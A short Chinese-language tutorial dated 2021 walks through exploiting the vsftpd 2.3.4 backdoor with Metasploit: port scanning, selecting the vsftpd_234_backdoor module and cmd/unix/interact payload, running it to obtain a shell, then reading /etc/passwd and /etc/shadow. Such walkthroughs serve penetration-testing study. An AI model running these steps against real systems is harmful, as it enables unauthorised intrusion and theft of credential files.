漏洞利用之Metasploit使用过程

时间:2021-02-21 21:45:59

漏洞利用之Metasploit使用过程

先扫描端口,看开放的服务,如开放ftp,版本是vsftpd 2.3.4;
使用search搜索vsftp查看是否在相应的漏洞利用exploit,输入search vsftp;
use exploit/unix/ftp/vsftpd_234_backdoor,选择exploit(tab键补齐);
设置参数show options;
set payload cmd/unix/interact选择payload(tab键补齐);
设置参数show options;
执行攻击测试,输入exploit即可,如果成功,将返回一个shell(绿色标志一般攻击有效);
即可执行命令,id,whoami,ifconfig,cat /etc/passwd,cat /etc/shadow等等。